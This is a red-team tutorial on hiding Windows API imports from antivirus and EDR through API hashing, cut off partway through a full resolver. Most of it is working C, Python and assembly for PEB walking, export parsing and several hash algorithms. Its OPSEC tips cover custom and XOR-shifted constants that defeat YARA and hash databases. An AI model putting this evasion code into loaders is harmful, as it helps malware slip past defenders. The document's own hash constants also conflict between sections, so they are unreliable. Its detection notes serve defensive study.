Legend:
[IAT]= Import Address Table concept |[HASH]= Hashing technique |[PEB]= PEB-walk method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[MALWARE]= Seen in real malware
1. Why API Hashing
What it means: When malware or a shellcode loader calls Windows APIs like VirtualAlloc, CreateThread, or WriteProcessMemory, those function names are stored as strings in the binary's Import Address Table (IAT). Any analyst, AV scanner, or EDR product can see them immediately — before the binary even runs.
The core problem:
Normal PE binary that calls CreateThread:
IAT (Import Address Table):
├─ kernel32.dll
│ ├─ VirtualAlloc ← AV sees: memory allocation
│ ├─ WriteProcessMemory ← AV sees: process injection!
│ ├─ CreateThread ← AV sees: thread creation
│ └─ LoadLibraryA ← AV sees: DLL loading
│
Analyst runs: strings loader.exe | grep -i thread
Result: CreateThread ← Immediately visible
EDR / AV:
├─ Scans IAT on load
├─ Sees: VirtualAlloc + WriteProcessMemory + CreateThread
├─ Score: HIGH SUSPICION
└─ Action: Flag / Block
What API hashing solves:
API-hashed PE binary (same binary, with hashing):
IAT (Import Address Table):
├─ kernel32.dll
│ └─ LoadLibraryA ← Only this import needed (optional)
│
Analyst runs: strings loader.exe
Result: (no API names visible)
EDR / AV:
├─ Scans IAT → Almost empty
├─ API names: NOT present in strings
├─ Score: LOWER suspicion (no obvious suspicious imports)
└─ No immediate flag on API names
At runtime:
├─ Binary walks PEB → finds kernel32 in memory
├─ Iterates export table → hashes each name
├─ Hash 0x726774c → matches LoadLibraryA → executes
└─ All API resolution happens in memory, never in strings
Why it matters for red teaming:
| Scenario | Without API Hashing | With API Hashing |
|---|---|---|
| Static analysis / strings | All API names visible | No API names in binary |
| IAT inspection (PE parser) | Full API list exposed | IAT mostly empty |
| Signature-based AV | Matches known API import combos | No IAT match possible |
| Sandbox behavioral analysis | API calls linked to imports | Harder to track → dynamic |
| Reverse engineering difficulty | Trivial (see imports, read code) | Must trace hash resolution logic |
| Detection by AV YARA rules | Pattern matches API name strings | No string → no match |
[OPSEC] API hashing does NOT hide behavior from dynamic analysis. The OS still records API calls at runtime. API hashing targets static analysis — strings, IAT inspection, signature matching on PE structure.
[OPSEC] Well-known hash values become signatures too. ROR13 hash 0x726774c for LoadLibraryA is so common in Cobalt Strike/Metasploit that AV vendors now detect it by hash constant value. Always use custom hash algorithms in real engagements.
2. Windows PE IAT — The Problem
What it means: A Portable Executable (PE) file has a data directory called the Import Address Table. At load time, the Windows loader fills it with the actual addresses of every function the binary imports. Both the function names AND the DLL names are stored as strings in the binary.
2.1 PE Import Structure
PE Binary on disk:
┌──────────────────────────────────────────┐
│ DOS Header │
│ NT Headers │
│ └─ Optional Header │
│ └─ DataDirectory[1] → Import Table │
│ Import Directory Table: │
│ ├─ Entry: kernel32.dll │
│ │ ├─ VirtualAlloc │
│ │ ├─ VirtualProtect │
│ │ └─ CreateRemoteThread │
│ └─ Entry: ntdll.dll │
│ ├─ NtAllocateVirtualMemory │
│ └─ NtWriteVirtualMemory │
└──────────────────────────────────────────┘
What an analyst sees in CFF Explorer / PE-bear:
kernel32.dll → CreateRemoteThread
→ VirtualAlloc
→ VirtualProtect
→ WriteProcessMemory
==> Immediate red flag: process injection toolkit
2.2 Export Address Table (EAT) — The Target
kernel32.dll in memory:
┌──────────────────────────────────────────────┐
│ IMAGE_EXPORT_DIRECTORY │
│ ├─ NumberOfNames: 1624 │
│ ├─ AddressOfNames → array of RVAs │
│ │ [0] → "AcquireSRWLockExclusive" │
│ │ [1] → "ActivateActCtx" │
│ │ ... │
│ │ [342] → "CreateThread" │ ← We want this
│ │ ... │
│ ├─ AddressOfFunctions → array of RVAs │
│ │ → actual function addresses │
│ └─ AddressOfNameOrdinals → ordinals │
└──────────────────────────────────────────────┘
API Hashing approach:
1. Find kernel32 base address (via PEB walk or other)
2. Parse IMAGE_EXPORT_DIRECTORY
3. Iterate AddressOfNames array
4. Hash each name string
5. Compare hash → match → extract function address
2.3 The Three Tables in EAT
// These three parallel arrays work together:
// AddressOfNames[i] → name RVA for export i
// AddressOfNameOrdinals[i] → ordinal index for export i
// AddressOfFunctions[ord] → function RVA
// To get function address from a name match at index i:
DWORD nameRVA = addressOfNames[i];
WORD ordinal = addressOfNameOrdinals[i];
DWORD functionRVA = addressOfFunctions[ordinal];
PVOID funcAddress = (PVOID)(moduleBase + functionRVA);
[DETECT] The EAT is the source of truth. Every API hashing technique ultimately resolves against this structure. EDR hooks and inline patches happen inside the EAT-resolved function bodies — another reason to combine API hashing with direct syscalls.
3. How API Hashing Works — Core Concept
What it means: Instead of storing "CreateThread" (13 bytes, a string), the binary stores 0x544e304 (4 bytes, a number). At runtime, it walks the export table, hashes each name, and looks for a match. When the hash matches, it extracts the function address and calls it — without any string ever appearing in the binary.
3.1 The Full Flow
Compile time (before deployment):
──────────────────────────────────
Developer runs hash tool:
hash("VirtualAlloc") → 0x97BC257
hash("WriteProcessMemory") → 0xD83D6AA1
hash("CreateThread") → 0x544e304
hash("LoadLibraryA") → 0x726774C
These 4 numbers are embedded in the binary.
ZERO strings. ZERO function names.
─────────────────────────────────
Runtime (when binary executes):
─────────────────────────────────
1. Binary starts
2. Finds kernel32.dll in memory (via PEB walk)
3. Gets pointer to IMAGE_EXPORT_DIRECTORY
4. Loops through AddressOfNames[0..N]:
hash("AcquireSRWLockExclusive") → 0x3A1F1233 ≠ 0x97BC257 → skip
hash("ActivateActCtx") → 0x7C441D0A ≠ 0x97BC257 → skip
...
hash("VirtualAlloc") → 0x97BC257 == 0x97BC257 → MATCH!
5. Extract VirtualAlloc's address
6. Call it: VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
3.2 Minimal Pseudocode
# Python pseudocode — how an API resolver thinks
def resolve_api(module_base, target_hash):
eat = get_export_directory(module_base)
for i in range(eat.NumberOfNames):
func_name = read_string(module_base + eat.AddressOfNames[i])
if my_hash(func_name) == target_hash:
ordinal = eat.AddressOfNameOrdinals[i]
rva = eat.AddressOfFunctions[ordinal]
return module_base + rva # function address!
return None # not found
# Pre-computed hashes (no strings in binary):
HASH_VirtualAlloc = 0x97BC257
HASH_WriteProcessMemory = 0xD83D6AA1
# At runtime:
VirtualAlloc = resolve_api(kernel32_base, HASH_VirtualAlloc)
WriteProcessMemory = resolve_api(kernel32_base, HASH_WriteProcessMemory)
# Call them normally:
VirtualAlloc(NULL, 4096, 0x3000, 0x40)
[OPSEC] The hash algorithm choice matters enormously. ROR13 is so well-known that its hash constants for common APIs are searchable in public databases. Custom algorithms with private constants are the only reliable approach in defended environments.
4. PEB Walking — Finding DLLs Without LoadLibrary
What it means: To call LoadLibrary("kernel32.dll"), you first need LoadLibrary's address — a circular dependency. Instead, shellcode and malware walk the Process Environment Block (PEB), a Windows kernel structure that contains a linked list of all loaded modules in the process. This lets you find kernel32.dll's base address without calling any API.
4.1 PEB Structure Path
Thread Execution begins
│
▼
GS:[0x60] (x64) or FS:[0x30] (x86)
= _TEB.ProcessEnvironmentBlock
│
▼
PEB (Process Environment Block)
offset 0x18 → PEB_LDR_DATA *Ldr
│
▼
PEB_LDR_DATA
offset 0x20 → LIST_ENTRY InMemoryOrderModuleList
(doubly-linked list of all loaded DLLs)
│
▼
LDR_DATA_TABLE_ENTRY (one per loaded DLL)
├─ offset 0x28 → UNICODE_STRING FullDllName
├─ offset 0x38 → UNICODE_STRING BaseDllName ← "kernel32.dll"
└─ offset 0x10 → DllBase (base address!) ← what we want
4.2 PEB Walk in C
#include <Windows.h>
#include <winternl.h> // PEB, LDR_DATA_TABLE_ENTRY
// Find a module base address by walking the PEB module list.
// No LoadLibrary, no GetModuleHandle — fully PEB-based.
HMODULE GetModuleBaseByHash(DWORD targetHash)
{
// Get PEB pointer
// x64: GS:[0x60]
PPEB peb = (PPEB)__readgsqword(0x60);
// Walk InMemoryOrderModuleList
PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY listEntry = listHead->Flink;
while (listEntry != listHead)
{
// Each LIST_ENTRY is part of LDR_DATA_TABLE_ENTRY
// InMemoryOrderLinks is at offset 0x10 within the entry
PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(
listEntry,
LDR_DATA_TABLE_ENTRY,
InMemoryOrderLinks
);
if (module->FullDllName.Buffer != NULL)
{
// Convert UNICODE_STRING to lowercase for hashing
char moduleName[64] = {0};
USHORT len = module->FullDllName.Length / 2;
for (USHORT i = 0; i < len && i < 63; i++) {
wchar_t wc = module->FullDllName.Buffer[i];
// Lowercase only the filename portion
moduleName[i] = (char)(wc >= L'A' && wc <= L'Z' ? wc + 32 : wc);
}
// Hash the module name and compare
if (HashString(moduleName) == targetHash) {
return (HMODULE)module->DllBase;
}
}
listEntry = listEntry->Flink;
}
return NULL;
}
// Usage:
// HMODULE kernel32 = GetModuleBaseByHash(HASH_KERNEL32);
// HMODULE ntdll = GetModuleBaseByHash(HASH_NTDLL);
4.3 PEB Walk in x64 Assembly (Shellcode Style)
; x64 NASM — walk PEB to find kernel32 base address
; Result: kernel32 base address in RAX
find_kernel32:
xor rbp, rbp ; clear rbp
mov rax, gs:[rbp + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = Ldr->InMemoryOrderModuleList.Flink
lodsq ; RSI = next entry (skip first: process itself)
xchg rax, rsi
lodsq ; RSI = next entry (skip second: ntdll.dll)
mov rbx, [rax + 0x20] ; RBX = BaseDllName.Buffer (kernel32.dll)
; At this point RAX points to kernel32's LDR_DATA_TABLE_ENTRY
; Extract DllBase:
mov rbx, [rax - 0x10 + 0x10] ; DllBase offset = 0x10 from InMemoryOrderLinks
; RBX now holds kernel32.dll base address
ret
[OPSEC] The order in the InMemoryOrderModuleList is: [0] = the executable itself, [1] = ntdll.dll, [2] = kernel32.dll. This ordering is consistent but not guaranteed across all Windows versions — use hash comparison for reliability.
4.4 Module Name Hashing
// Common convention: hash the module's BaseDllName (e.g., "kernel32.dll")
// Some implementations hash uppercase, some lowercase — be consistent!
// Pre-compute these with your hash tool:
#define HASH_KERNEL32 0x6DDB9555 // hash("kernel32.dll")
#define HASH_NTDLL 0x1EDAB0ED // hash("ntdll.dll")
#define HASH_WS2_32 0x9D59C6B0 // hash("ws2_32.dll")
#define HASH_WININET 0x42246F0A // hash("wininet.dll")
5. ROR13 Hash Algorithm
What it means: ROR13 (Rotate Right 13) is the most widely used hash algorithm in shellcode. It processes each byte of a string by rotating the current hash value 13 bits to the right, then adding the new character. This is the algorithm used by Metasploit, Cobalt Strike, and the majority of public shellcode frameworks.
5.1 How ROR13 Works
Algorithm:
1. Start with hash = 0
2. For each character c in the function name:
a. hash = ROR(hash, 13) ← rotate right 13 bits
b. hash = hash + c ← add the character byte
3. Final hash = accumulated value
ROR (Rotate Right) example on 32-bit value:
Value: 0b10110010_11001010_11110001_00100011 (0xB2CAF123)
ROR 13: 0b00100011_01001001_01100101_10010110 (shifted 13 right, wrapped left)
5.2 ROR13 in C
// ROR13 hash — exact algorithm used by Metasploit / Cobalt Strike
// Input: ASCII or wide string
// Output: 32-bit hash value
// Rotate right macro
#define ROR32(v, bits) (((v) >> (bits)) | ((v) << (32 - (bits))))
DWORD ror13_hash(const char *str)
{
DWORD hash = 0;
while (*str)
{
hash = ROR32(hash, 13);
hash += (BYTE)*str;
str++;
}
return hash;
}
// For module names: Cobalt Strike hashes the unicode name with null terminator
DWORD ror13_hash_wide(const wchar_t *str)
{
DWORD hash = 0;
while (*str)
{
hash = ROR32(hash, 13);
hash += (BYTE)(*str & 0xFF); // lower byte of wchar
str++;
}
// Include the null terminator byte
hash = ROR32(hash, 13);
// hash += 0; // null adds 0, so omit
return hash;
}
// Known ROR13 hashes (Metasploit/Cobalt Strike compatible):
// LoadLibraryA → 0x0726774C
// GetProcAddress → 0x0D3F78DC (also seen as 0xEC0E4E8E)
// VirtualAlloc → 0x91AFCA54
// VirtualProtect → 0x7946C61B
// CreateThread → 0xC7D05CA5 (varies by variant)
// WinExec → 0x876F8B31
// ExitProcess → 0x56A2B5F0
// InternetOpenA → 0xA779563A
// InternetConnectA → 0xC69F8957
// WSAStartup → 0x006B8029
// WSASocketA → 0xE0DF0FEA
// NtFlushInstructionCache → 0x534C0AB8
5.3 ROR13 in Python (Pre-computation Tool)
#!/usr/bin/env python3
# ror13_hasher.py — Pre-compute ROR13 hashes for API names
import struct
def ror32(val, bits):
"""32-bit rotate right."""
return ((val >> bits) | (val << (32 - bits))) & 0xFFFFFFFF
def ror13_hash(name: str) -> int:
"""ROR13 hash — matches Metasploit/Cobalt Strike implementation."""
h = 0
for c in name:
h = ror32(h, 13)
h = (h + ord(c)) & 0xFFFFFFFF
return h
def ror13_hash_module(name: str) -> int:
"""ROR13 for module names — includes null terminator, uppercase."""
name = name.upper() # Cobalt Strike uppercases module names
h = 0
for c in name:
h = ror32(h, 13)
h = (h + ord(c)) & 0xFFFFFFFF
# Add null terminator
h = ror32(h, 13)
return h
# ─── Compute and print hashes ───────────────────────────────────
apis = [
"LoadLibraryA",
"GetProcAddress",
"VirtualAlloc",
"VirtualProtect",
"CreateThread",
"WriteProcessMemory",
"OpenProcess",
"CreateRemoteThread",
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtCreateThreadEx",
"WinExec",
"ExitProcess",
"InternetOpenA",
"InternetConnectA",
"WSAStartup",
"WSASocketA",
]
print("// ROR13 API Hashes (Metasploit/Cobalt Strike compatible)")
print("// Copy these into your C loader:")
print()
for api in apis:
h = ror13_hash(api)
print(f"#define HASH_{api.upper():<35} 0x{h:08X} // {api}")
print()
print("// Module hashes (uppercase convention):")
modules = ["kernel32.dll", "ntdll.dll", "ws2_32.dll", "wininet.dll", "advapi32.dll"]
for mod in modules:
h = ror13_hash_module(mod)
safe = mod.replace(".", "_").replace("-", "_").upper()
print(f"#define HASH_MODULE_{safe:<30} 0x{h:08X} // {mod.upper()}")
5.4 ROR13 in Assembly (Shellcode Native)
; ROR13 hash function in x64 NASM
; Input: RSI = pointer to null-terminated ASCII string
; Output: EAX = ROR13 hash
; Clobbers: EAX, ECX, RDX
hash_ror13:
xor eax, eax ; hash = 0
.loop:
movzx ecx, byte [rsi] ; ECX = current character
test ecx, ecx ; null terminator?
jz .done ; yes → done
; ROR(hash, 13)
ror eax, 13
; hash += character
add eax, ecx
inc rsi ; next character
jmp .loop
.done:
ret
[DETECT] ROR13 hashes for common APIs are well-documented. Security products scan for 0x726774C (LoadLibraryA), 0xEC0E4E8E (GetProcAddress), and others as signature constants. If these values appear in shellcode disassembly, it immediately reveals Metasploit/Cobalt Strike lineage.
6. DJB2 Hash Algorithm
What it means: DJB2 (Daniel J. Bernstein hash 2) is a simple, fast non-cryptographic hash with good distribution. It starts with seed 5381 and processes each character as hash = hash * 33 + char. Used in GuLoader, SloppyRAT, and various custom loaders.
6.1 DJB2 in C
// DJB2 — Daniel J. Bernstein hash
// Simple, fast, good distribution
// Used in GuLoader, SloppyRAT, many custom shellcode loaders
DWORD djb2_hash(const char *str)
{
DWORD hash = 5381; // Initial seed
int c;
while ((c = *str++) != 0)
{
// hash = hash * 33 + c
// Equivalent: (hash << 5) + hash + c
hash = ((hash << 5) + hash) + c;
}
return hash;
}
// Case-insensitive variant (for robust API matching across DLL versions)
DWORD djb2_hash_lower(const char *str)
{
DWORD hash = 5381;
int c;
while ((c = *str++) != 0)
{
// Normalize to lowercase
if (c >= 'A' && c <= 'Z') c += 32;
hash = ((hash << 5) + hash) + c;
}
return hash;
}
// Known DJB2 hashes (standard, case-sensitive):
// VirtualAlloc → 0x9B7BFBC3
// VirtualProtect → 0x5B4AED68
// CreateThread → 0x99EE4EA9
// LoadLibraryA → 0xFCFB9E52
// GetProcAddress → 0x6D7AC455
// WriteProcessMemory → 0xE3DF2648
// OpenProcess → 0x15F62B70
// NtAllocateVirtualMemory → 0x42A3C4BF
6.2 DJB2 in Python
#!/usr/bin/env python3
# djb2_hasher.py — Pre-compute DJB2 hashes
def djb2_hash(s: str, case_insensitive=False) -> int:
"""DJB2 hash — matches C implementation."""
if case_insensitive:
s = s.lower()
hash_val = 5381
for c in s:
hash_val = ((hash_val << 5) + hash_val + ord(c)) & 0xFFFFFFFF
return hash_val
# Pre-compute a lookup table
apis = [
"VirtualAlloc", "VirtualProtect", "VirtualFree",
"WriteProcessMemory", "ReadProcessMemory",
"CreateThread", "CreateRemoteThread",
"OpenProcess", "CloseHandle",
"LoadLibraryA", "GetProcAddress",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtCreateThreadEx", "NtQueryInformationProcess",
]
print("// DJB2 API Hashes")
print("#define DJB2_SEED 5381")
print()
for api in apis:
h = djb2_hash(api)
h_lower = djb2_hash(api, case_insensitive=True)
print(f"#define DJB2_{api.upper():<35} 0x{h:08X} // case-sensitive")
print(f"#define DJB2L_{api.upper():<34} 0x{h_lower:08X} // lowercase")
print()
6.3 DJB2 Collision Check
#!/usr/bin/env python3
# Check for DJB2 hash collisions in your API list
def djb2_hash(s: str) -> int:
h = 5381
for c in s:
h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
return h
# Load all exports from a DLL to check for collisions
import ctypes
import ctypes.wintypes
kernel32_exports = [
"VirtualAlloc", "VirtualProtect", "VirtualFree", "VirtualQuery",
"CreateThread", "CreateRemoteThread", "TerminateThread",
"OpenProcess", "CloseHandle", "GetCurrentProcess",
"WriteProcessMemory", "ReadProcessMemory",
"LoadLibraryA", "LoadLibraryW", "FreeLibrary",
"GetProcAddress", "GetModuleHandleA",
# Add all exports you care about
]
seen = {}
collisions = []
for api in kernel32_exports:
h = djb2_hash(api)
if h in seen:
collisions.append((api, seen[h], h))
print(f"[!] COLLISION: {api} == {seen[h]} == 0x{h:08X}")
else:
seen[h] = api
if not collisions:
print("[+] No collisions found in API list")
else:
print(f"[!] {len(collisions)} collision(s) found — choose different algorithm")
[MALWARE] GuLoader uses DJB2 extensively. CrowdStrike researchers mapped all its embedded DJB2 hash values to reconstruct the complete API list. SloppyRAT (2025) also uses DJB2 for its Hell's Gate-style direct syscall resolution.
7. FNV-1a Hash Algorithm
What it means: FNV-1a (Fowler–Noll–Vo variant 1a) is a widely used non-cryptographic hash known for good avalanche behavior and minimal collisions on short strings. The a variant XORs before multiplying (vs FNV-1 which multiplies first), giving better distribution. Used by Cobalt Strike for NT API resolution and various custom shellcode.
7.1 FNV-1a in C
// FNV-1a — 32-bit variant
// Constants are standardized — do not change them
#define FNV_OFFSET_32 2166136261UL // 0x811C9DC5
#define FNV_PRIME_32 16777619UL // 0x01000193
DWORD fnv1a_hash(const char *str)
{
DWORD hash = FNV_OFFSET_32;
while (*str)
{
hash ^= (BYTE)*str; // XOR with current byte (the 'a' variant)
hash *= FNV_PRIME_32; // multiply by prime
hash &= 0xFFFFFFFF; // keep 32-bit
str++;
}
return hash;
}
// 64-bit variant (better for large export tables)
#define FNV_OFFSET_64 14695981039346656037ULL // 0xCBF29CE484222325
#define FNV_PRIME_64 1099511628211ULL // 0x00000100000001B3
DWORD64 fnv1a_hash64(const char *str)
{
DWORD64 hash = FNV_OFFSET_64;
while (*str)
{
hash ^= (BYTE)*str;
hash *= FNV_PRIME_64;
str++;
}
return hash;
}
// Known FNV-1a 32-bit hashes:
// LoadLibraryA → 0x4ACC9B65
// GetProcAddress → 0xE7F4C19E
// VirtualAlloc → 0x23D71374
// VirtualProtect → 0x3AFBBB98
// CreateThread → 0x4B7D07AA
// WriteProcessMemory → 0x9F5CC14B
// NtAllocateVirtualMemory → 0xB7A71C21
// NtWriteVirtualMemory → 0xF6C8F30B
// NtCreateThreadEx → 0x40A85E1F
// CreateFileA → 0x12C93ECF
// WriteFile → 0xB58A00D3
7.2 FNV-1a in Python
#!/usr/bin/env python3
# fnv1a_hasher.py — FNV-1a 32-bit and 64-bit hash pre-computation
FNV_OFFSET_32 = 0x811C9DC5
FNV_PRIME_32 = 0x01000193
FNV_OFFSET_64 = 0xCBF29CE484222325
FNV_PRIME_64 = 0x00000100000001B3
def fnv1a_32(s: str) -> int:
"""FNV-1a 32-bit hash."""
h = FNV_OFFSET_32
for c in s.encode('ascii'):
h ^= c
h = (h * FNV_PRIME_32) & 0xFFFFFFFF
return h
def fnv1a_64(s: str) -> int:
"""FNV-1a 64-bit hash."""
h = FNV_OFFSET_64
for c in s.encode('ascii'):
h ^= c
h = (h * FNV_PRIME_64) & 0xFFFFFFFFFFFFFFFF
return h
apis = [
"LoadLibraryA", "GetProcAddress", "VirtualAlloc",
"VirtualProtect", "CreateThread", "WriteProcessMemory",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtCreateThreadEx", "CreateFileA", "WriteFile",
"InternetOpenA", "InternetConnectA", "HttpOpenRequestA",
"HttpSendRequestA", "WSAStartup", "socket", "connect",
]
print("// FNV-1a API Hashes")
print(f"#define FNV_OFFSET_32 0x{FNV_OFFSET_32:08X}UL")
print(f"#define FNV_PRIME_32 0x{FNV_PRIME_32:08X}UL")
print()
for api in apis:
h32 = fnv1a_32(api)
h64 = fnv1a_64(api)
print(f"#define FNV1A_{api.upper():<35} 0x{h32:08X} // {api}")
7.3 FNV-1a XOR Variant (Anti-Signature)
// Some malware XORs the final hash with a secret value
// This shifts all hash constants, defeating known-hash YARA rules
#define FNV_XOR_KEY 0xDEADBEEF // Your secret — change this!
DWORD fnv1a_hash_xor(const char *str)
{
DWORD hash = FNV_OFFSET_32;
while (*str)
{
hash ^= (BYTE)*str;
hash *= FNV_PRIME_32;
str++;
}
return hash ^ FNV_XOR_KEY; // XOR obfuscation
}
// Now pre-compute with the XOR key:
// python3 -c "print(hex((fnv1a('LoadLibraryA') ^ 0xDEADBEEF) & 0xFFFFFFFF))"
// These shifted values won't match any known-hash database
[MALWARE] Cobalt Strike uses FNV-1a for resolving NT API functions from ntdll.dll in its reflective DLL injection. TrickBot uses FNV-1a for NtCreateThreadEx, NtWriteVirtualMemory, and NtQueryInformationProcess. QakBot also uses FNV-1a variants with custom XOR keys.
8. CRC32 Hash Algorithm
What it means: CRC32 (Cyclic Redundancy Check 32) is a checksum algorithm originally designed for error detection. It has been repurposed by malware as an API hashing mechanism due to its hardware support (the crc32 instruction on modern x86 CPUs) and built-in availability in Windows APIs.
8.1 CRC32 in C
// CRC32 hash for API hashing
// Uses the standard polynomial 0xEDB88320 (reflected form)
// Pre-compute the CRC32 lookup table
static DWORD crc32_table[256];
static int crc32_initialized = 0;
void crc32_init_table(void)
{
if (crc32_initialized) return;
for (DWORD i = 0; i < 256; i++)
{
DWORD crc = i;
for (int j = 0; j < 8; j++)
{
if (crc & 1)
crc = (crc >> 1) ^ 0xEDB88320; // reflected polynomial
else
crc >>= 1;
}
crc32_table[i] = crc;
}
crc32_initialized = 1;
}
DWORD crc32_hash(const char *str)
{
crc32_init_table();
DWORD crc = 0xFFFFFFFF; // start with all 1s
while (*str)
{
BYTE idx = (crc ^ (BYTE)*str) & 0xFF;
crc = (crc >> 8) ^ crc32_table[idx];
str++;
}
return crc ^ 0xFFFFFFFF; // final XOR
}
// Using hardware CRC32 (x86 SSE4.2 instruction — faster):
#include <nmmintrin.h> // _mm_crc32_u8
DWORD crc32_hardware(const char *str)
{
DWORD crc = 0xFFFFFFFF;
while (*str)
{
crc = _mm_crc32_u8(crc, (BYTE)*str);
str++;
}
return crc ^ 0xFFFFFFFF;
}
// Known CRC32 hashes:
// LoadLibraryA → 0x7C0DFCAA
// GetProcAddress → 0xBCB5CF9F
// VirtualAlloc → 0x7A2FEEA8
// VirtualProtect → 0x40E4B3A6
// CreateThread → 0xA1A14EB8
// WriteProcessMemory → 0x15E1D6AD
// NtAllocateVirtualMemory → 0xF4B91E4A
8.2 CRC32 in Python
#!/usr/bin/env python3
# crc32_hasher.py — CRC32 hash pre-computation
import binascii
def crc32_hash(s: str) -> int:
"""Standard CRC32 hash matching the C table implementation."""
return binascii.crc32(s.encode('ascii')) & 0xFFFFFFFF
# Hardware-optimized variant (Python using zlib)
import zlib
def crc32_zlib(s: str) -> int:
return zlib.crc32(s.encode('ascii')) & 0xFFFFFFFF
apis = [
"LoadLibraryA", "GetProcAddress", "VirtualAlloc",
"VirtualProtect", "VirtualFree",
"CreateThread", "CreateRemoteThread",
"WriteProcessMemory", "ReadProcessMemory",
"OpenProcess", "CloseHandle",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
]
print("// CRC32 API Hashes")
for api in apis:
h = crc32_hash(api)
print(f"#define CRC32_{api.upper():<35} 0x{h:08X} // {api}")
8.3 CRC32 Anti-Analysis Trick
// Trick: seed with a different initial value
// This shifts all hashes away from standard CRC32 databases
DWORD crc32_seeded(const char *str, DWORD seed)
{
crc32_init_table();
DWORD crc = seed; // non-standard seed (not 0xFFFFFFFF)
while (*str)
{
BYTE idx = (crc ^ (BYTE)*str) & 0xFF;
crc = (crc >> 8) ^ crc32_table[idx];
str++;
}
return crc; // no final XOR either
}
// Example: seed = 0xCAFEBABE
// CRC32_seeded("LoadLibraryA", 0xCAFEBABE)
// = completely different value from standard CRC32
// Cannot be found in HashDB lookup databases
9. Custom / Arbitrary Hash Algorithms
What it means: Since well-known algorithms (ROR13, DJB2, FNV-1a) have their hash constants for common APIs published in public databases like HashDB, sophisticated malware and red team tools use completely custom algorithms. As long as the algorithm is deterministic and collision-free for the target API set, any function works.
9.1 Custom Additive Hash
// Custom additive hash — made up, produces no publicly known constants
// Tweak constants to shift all hash values
DWORD custom_hash_v1(const char *str)
{
DWORD hash = 0x1337; // custom seed
DWORD mult = 0xDEAD1337; // custom multiplier
DWORD shift = 7; // custom shift amount
while (*str)
{
hash ^= (DWORD)*str;
hash = (hash << shift) | (hash >> (32 - shift)); // ROL shift
hash *= mult;
hash &= 0xFFFFFFFF;
str++;
}
return hash;
}
// Customize to taste:
// - Change seed, multiplier, shift amount
// - Add XOR with position index
// - Mix in character position
// → Different constants, defeat all known-hash lookups
9.2 Position-Aware Hash (Stronger)
// Hash that incorporates character position
// Much harder to reverse-engineer than position-independent hashes
DWORD positional_hash(const char *str)
{
DWORD hash = 0xAB1337FF;
DWORD pos = 0;
while (*str)
{
// Mix position into hash calculation
hash += ((DWORD)*str * (pos + 1)) ^ (pos * 0x7ABED);
hash = ROR32(hash, 5);
hash ^= (pos << 16);
pos++;
str++;
}
return hash ^ 0xDEADC0DE; // final XOR
}
9.3 Custom Hash Generator (Python)
#!/usr/bin/env python3
# custom_hash_generator.py
# Generate a custom hash algorithm with tweakable parameters
# and pre-compute hashes for your API list
def make_hasher(seed, multiplier, rot_amount, final_xor):
"""Factory: create a custom hash function with given parameters."""
def hasher(s: str) -> int:
h = seed
for c in s:
h ^= ord(c)
# ROL rotation
h = ((h << rot_amount) | (h >> (32 - rot_amount))) & 0xFFFFFFFF
h = (h * multiplier) & 0xFFFFFFFF
return h ^ final_xor
return hasher
# ── Customize these parameters to create your unique hash ──────
SEED = 0xDEAD1337
MULTIPLIER = 0x1F1FA1B1
ROT = 7 # bits to rotate
FINAL_XOR = 0xABCDEF01
# ────────────────────────────────────────────────────────────────
my_hash = make_hasher(SEED, MULTIPLIER, ROT, FINAL_XOR)
def check_collisions(apis, hasher):
seen = {}
for api in apis:
h = hasher(api)
if h in seen:
return False, f"COLLISION: {api} == {seen[h]} == 0x{h:08X}"
seen[h] = api
return True, "No collisions"
apis = [
"VirtualAlloc", "VirtualProtect", "VirtualFree",
"WriteProcessMemory", "ReadProcessMemory",
"CreateThread", "CreateRemoteThread",
"OpenProcess", "CloseHandle", "GetCurrentProcess",
"LoadLibraryA", "GetProcAddress",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtCreateThreadEx", "NtQueryInformationProcess",
"InternetOpenA", "InternetConnectA",
]
ok, msg = check_collisions(apis, my_hash)
print(f"[{'+'if ok else '!'}] Collision check: {msg}")
print()
print("// Generated custom API hashes — PRIVATE (do not publish):")
print(f"#define CUSTOM_HASH_SEED 0x{SEED:08X}")
print(f"#define CUSTOM_HASH_MULT 0x{MULTIPLIER:08X}")
print(f"#define CUSTOM_HASH_ROT {ROT}")
print(f"#define CUSTOM_HASH_XOR 0x{FINAL_XOR:08X}")
print()
for api in apis:
h = my_hash(api)
print(f"#define HASH_{api.upper():<35} 0x{h:08X} // {api}")
[OPSEC] Never publish your custom hash constants. Once constants appear in GitHub, YARA rules are written within days. Rotate your algorithm for each engagement. Keep the hash algorithm inside the loader itself — never share the hash function parameters externally.
10. Full API Resolver Implementation (C)
What it means: Combining PEB walk + EAT parsing + any hash algorithm into a complete, production-ready API resolver that can be dropped into any loader or shellcode.
10.1 Complete API Resolver (C — Generic)
#include <Windows.h>
#include <winternl.h>
// ── Choose your hash algorithm ────────────────────────────────
// Swap this function to change algorithm
static DWORD hash_string(const char *str)
{
// Using ROR13 — swap with djb2_hash / fnv1a_hash / custom_hash
DWORD h = 0;
while (*str) {
h = ((h >> 13) | (h << 19)); // ROR 13
h += (BYTE)*str++;
h &= 0xFFFFFFFF;
}
return h;
}
// ── Find module base via PEB walk ─────────────────────────────
static HMODULE peb_get_module(DWORD module_hash)
{
PPEB peb = (PPEB)__readgsqword(0x60);
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY entry = head->Flink;
while (entry != head)
{
PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(
entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks
);
if (mod->BaseDllName.Buffer)
{
// Convert wide name to narrow for hashing
char name[64] = {0};
for (int i = 0; i < mod->BaseDllName.Length / 2 && i < 63; i++)
name[i] = (char)(mod->BaseDllName.Buffer[i] | 0x20); // tolower
if (hash_string(name) == module_hash)
return (HMODULE)mod->DllBase;
}
